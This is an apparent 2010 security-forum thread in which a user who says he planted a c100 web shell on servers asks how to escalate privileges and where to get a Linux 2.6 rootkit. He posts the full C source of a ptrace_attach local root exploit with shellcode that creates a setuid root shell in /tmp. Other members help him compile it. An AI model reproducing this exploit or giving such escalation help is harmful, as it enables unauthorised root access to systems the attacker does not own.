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IT Security and Insecurity Portal |
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Now what? |
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 Posted: Sun Jan 10, 2010 9:13 am |
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| AIR_Nayden |
| Advanced user |
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| Joined: Dec 30, 2009 |
| Posts: 70 |
| Location: Bulgaria |
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Hi 
These days I uploaded c100 on some servers... but there are directories which aren't editable by me. So my question is: how to escalate my privilegies or login as another user?
Please give more details, cause I'm not very good in working with unix systems... |
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| Posted: Sun Jan 10, 2010 10:44 am |
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| AIR_Nayden |
| Advanced user |
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| Joined: Dec 30, 2009 |
| Posts: 70 |
| Location: Bulgaria |
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| does anyone have rootkit for 2.6.x linux kernel? |
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| Posted: Sun Jan 10, 2010 2:35 pm |
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| pexli |
| Valuable expert |
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| Joined: May 24, 2007 |
| Posts: 665 |
| Location: Bulgaria |
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| Quote: | | Please give more details, cause I'm not very good in working with unix systems... |
+
| Quote: | | does anyone have rootkit for 2.6.x linux kernel? |
Малко тъпо,нали? |
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| Posted: Sun Jan 10, 2010 2:40 pm |
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| vince213333 |
| Advanced user |
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| Joined: Aug 03, 2009 |
| Posts: 737 |
| Location: Belgium |
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| Maybe he's a fast learner, pexli |
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| Posted: Sun Jan 10, 2010 3:18 pm |
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| AIR_Nayden |
| Advanced user |
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| Joined: Dec 30, 2009 |
| Posts: 70 |
| Location: Bulgaria |
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| е не, защо да е тъпо? този, който имам нещо не иска да се компилира и за това си търся друг Можеш ли да помогнеш? |
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| Posted: Sun Jan 10, 2010 3:34 pm |
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| vince213333 |
| Advanced user |
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| Joined: Aug 03, 2009 |
| Posts: 737 |
| Location: Belgium |
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| Code: | | http://www.enye-sec.org/en/programs.html |
3rd one in the list.
Or
| Code: | | http://seclists.org/dailydave/2008/q3/215 |
I hope it helps  |
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| Posted: Sun Jan 10, 2010 3:36 pm |
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| AIR_Nayden |
| Advanced user |
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| Joined: Dec 30, 2009 |
| Posts: 70 |
| Location: Bulgaria |
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well, I found one, compiled it and tried to run it, but I suppose I didn't do that correct.
| Code: |
/*
ptrace_attach privilege escalation exploit by s0m3b0dy
[*] tested on Gentoo 2.6.29rc1
grataz:
Tazo, rassta, nukedclx, maciek, D0hannuk, mivus, wacky, nejmo, filo...
email: s0m3b0dy1 (at) gmail.com
*/
#include <grp.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <paths.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/param.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sys/socket.h>
char shellcode[] =
"\x6a\x46\x58\x31\xdb\x31\xc9\xcd\x80\xeb\x21\x5f\x6a\x0b\x58\x99"
"\x52\x66\x68\x2d\x63\x89\xe6\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62"
"\x69\x6e\x89\xe3\x52\x57\x56\x53\x89\xe1\xcd\x80\xe8\xda\xff\xff\xff"
"echo \"#include <stdio.h>\nmain(){setuid(0);if(getuid()==0) printf(\\\"r00teed!\\n\\\");execv(\\\"/bin/bash\\\",0);return 0;}\" > /tmp/.exp.c;gcc /tmp/.exp.c -o /tmp/.exp;rm /tmp/.exp.c;chmod +s /tmp/.exp;exit;";
struct user_regs_struct322 {
unsigned long ebx, ecx, edx, esi, edi, ebp, eax;
unsigned short ds, __ds, es, __es;
unsigned short fs, __fs, gs, __gs;
unsigned long orig_eax, eip;
unsigned short cs, __cs;
unsigned long eflags, esp;
unsigned short ss, __ss;
};
main()
{
struct user_regs_struct322 regs;
struct stat buf;
int i,o;
unsigned long * src;
unsigned long * dst;
char *env[2];
env[0]="/usr/bin/gpasswd"; // some suid file
env[1]=0;
if((o=fork()) == 0)
{
execve(env[0],env,0);
exit(0);
}
if(ptrace(PTRACE_ATTACH,o,0,0)==-1)
{
printf("\n[-] Attach\n");
exit(0);
}
wait((int *)0);
if (ptrace(PTRACE_GETREGS, o, NULL, ®s) == -1){
printf("\n[-] read registers\n");
exit(0);
}
printf( "[+] EIP - 0x%08lx\n", regs.eip);
dst= (unsigned long *) regs.eip;
src = (unsigned long *) shellcode;
for(i=0;i<sizeof(shellcode) -1;i+=4)
if (ptrace(PTRACE_POKETEXT, o, dst++, *src++) == -1){
printf("\n[-] write shellcode\n");
exit(0);
}
ptrace(PTRACE_CONT, o, 0, 0);
ptrace(PTRACE_DETACH,o,0,0);
printf("[+] Waiting for root...\n");
sleep(2);
if(!stat("/tmp/.exp",&buf))
{
printf("[+] Executing suid shell /tmp/.exp...\n");
execv("/tmp/.exp",0);
}
else
{
printf("[-] Damn no r00t here :(\n");
}
return 0;
}
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When I run it I get this output:
| Quote: |
Usage: gpasswd [-r|-R] group
gpasswd [-a user] group
gpasswd [-d user] group
gpasswd [-A user,...] [-M user,...] group
[-] Attach
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I guess gpasswd is some suid file(I have to give the path to it??). But what are the other parameters? How should I run this exploit correcetly? |
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| Posted: Sun Jan 10, 2010 6:52 pm |
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| gat3way |
| Regular user |
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| Joined: Dec 11, 2008 |
| Posts: 5 |
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| Quote: | | http://www.enye-sec.org/en/programs.html |
Много интересно... |
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| Posted: Sun Jan 10, 2010 7:13 pm |
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| AIR_Nayden |
| Advanced user |
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| Joined: Dec 30, 2009 |
| Posts: 70 |
| Location: Bulgaria |
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| Vince, do you have any idea how to compile the exploit, that you suggested? |
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| Posted: Sun Jan 10, 2010 7:23 pm |
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| vince213333 |
| Advanced user |
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| Joined: Aug 03, 2009 |
| Posts: 737 |
| Location: Belgium |
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| gat3way wrote: | | Quote: | | http://www.enye-sec.org/en/programs.html |
Много интересно... |
Randomly googled 
And AIR_Nayden, it seems like C code to me. Based on the use of structures and -1 instead of the boolean "false" etc... Though I don't know that much of this kind of exploits.
Maybe use the programm gcc and try
| Code: | | gcc -c exploit.c -o nameOfExploitAfterCompiling |
I'm just guessing though, there are people on here who know much more of this than I do |
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| Posted: Sun Jan 10, 2010 7:29 pm |
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| AIR_Nayden |
| Advanced user |
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| Joined: Dec 30, 2009 |
| Posts: 70 |
| Location: Bulgaria |
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but which filename should I write? THere is more than one .c file  |
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| Posted: Sun Jan 10, 2010 7:32 pm |
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| vince213333 |
| Advanced user |
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| Joined: Aug 03, 2009 |
| Posts: 737 |
| Location: Belgium |
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| Try looking for the file with the "main" function in it. That's usually the function that is executed first in C. |
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